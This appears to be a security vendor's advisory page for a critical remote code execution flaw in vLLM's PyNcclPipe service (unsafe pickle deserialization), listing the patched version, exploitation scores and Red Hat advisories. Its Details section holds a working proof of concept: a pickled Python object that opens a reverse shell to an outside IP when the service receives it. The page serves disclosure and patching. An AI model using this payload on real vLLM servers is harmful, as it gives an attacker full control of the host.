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CRITICAL severity

GHSA-hjq4-87xh-g4fv vllm

CRITICALFix: vllm-project/vllm#15988

GHSA-hjq4-87xh-g4fv is a critical-severity (CVSS 9.8) Deserialization of Untrusted Data vulnerability in vllm. A fix is available for vllm — see the affected versions and patch details below.

vLLM Allows Remote Code Execution via PyNcclPipe Communication Service

Also known asCVE-2025-47277PYSEC-2026-567
Published
May 20, 2025
Updated
Aug 7, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-hjq4-87xh-g4fv.

EPSS Exploitation Probability

via FIRST.org ↗
1.0%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs60th percentile — riskier than 60% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-hjq4-87xh-g4fv plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍vllm

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Impacted Environments

This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected.

Summary

vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the send_obj and recv_obj methods on the CPU side.​

A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges.

The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html

Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface.

This issue was reported privately to PyTorch and they determined that this behavior was intentional.

Details

The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution.

  1. Deploy a PyNcclPipe service configured to listen on port 18888 when launched:
from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig

config=KVTransferConfig(
    kv_ip="0.0.0.0",
    kv_port=18888,
    kv_rank=0,
    kv_parallel_size=1,
    kv_buffer_size=1024,
    kv_buffer_device="cpu"
)

p=PyNcclPipe(config=config,local_rank=0)
p.recv_tensor() # Receive data
  1. The attacker crafts malicious packets and sends them to the PyNcclPipe service:
from vllm.distributed.utils import StatelessProcessGroup

class Evil:
    def __reduce__(self):
        import os
        cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"'
        return (os.system,(cmd,))

client = StatelessProcessGroup.create(
    host='172.17.0.1',
    port=18888,
    rank=1,
    world_size=2,
)

client.send_obj(obj=Evil(),dst=0)

The call stack triggering ​RCE is as follows:

vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl
	-> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata
		-> vllm.distributed.utils.StatelessProcessGroup.recv_obj
			-> pickle.loads 

Getshell as follows:

image

Reporters

This issue was reported independently by three different parties:

  • @kikayli (Zhuque Lab, Tencent)
  • @omjeki
  • Russell Bryant (@russellb)

Fix

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIvllm0.6.5&&< 0.8.50.8.5pip install --upgrade 'vllm==0.8.5'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vllm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update vllm to 0.8.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hjq4-87xh-g4fv is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-hjq4-87xh-g4fv can be triaged on real exposure rather than presence alone.

Tailored to GHSA-hjq4-87xh-g4fv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

By default, Red Hat products are configured to restrict vLLM nodes to an isolated network. However, this vulnerability could become relevant if customers change the specific configurations, and therefore, Red Hat products are affected. This vulnerability is classified as Moderate rather than Critical because its…

ProductFixed inAdvisory
Red Hat AI Inference Server 3.1rhaiis/vllm-rocm-rhel9:3.1.0-1751522540RHSA-2025:10403
Red Hat AI Inference Server 3.1rhaiis/vllm-cuda-rhel9:3.1.0-1751522544RHSA-2025:10404
Red Hat Enterprise Linux AI 1.5rhelai1/instructlab-nvidia-rhel9:1.5.3-1756791365RHSA-2025:15832
Red Hat Enterprise Linux AI 1.5rhelai1/bootc-intel-rhel9:1.5.3-1756724193RHSA-2025:15836
Red Hat Enterprise Linux AI 1.5rhelai1/bootc-gcp-nvidia-rhel9:1.5.3-1756815294RHSA-2025:15837
Red Hat Enterprise Linux AI 1.5rhelai1/bootc-aws-nvidia-rhel9:1.5.3-1756815228RHSA-2025:15838
Red Hat Enterprise Linux AI 1.5rhelai1/bootc-amd-rhel9:1.5.3-1756800437RHSA-2025:15839
Red Hat Enterprise Linux AI 1.5rhelai1/bootc-azure-amd-rhel9:1.5.3-1756815221RHSA-2025:15840

Frequently Asked Questions

### Impacted Environments This issue ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected. ### Summary vLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side.​ A remote code execution vulnerability exists in the `PyNcclPipe`
O3 Security · Impact-Aware SCA

Is GHSA-hjq4-87xh-g4fv in your dependencies?

O3 Security finds GHSA-hjq4-87xh-g4fv across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-hjq4-87xh-g4fv: vllm RCE (Critical 9.8) | O3 Security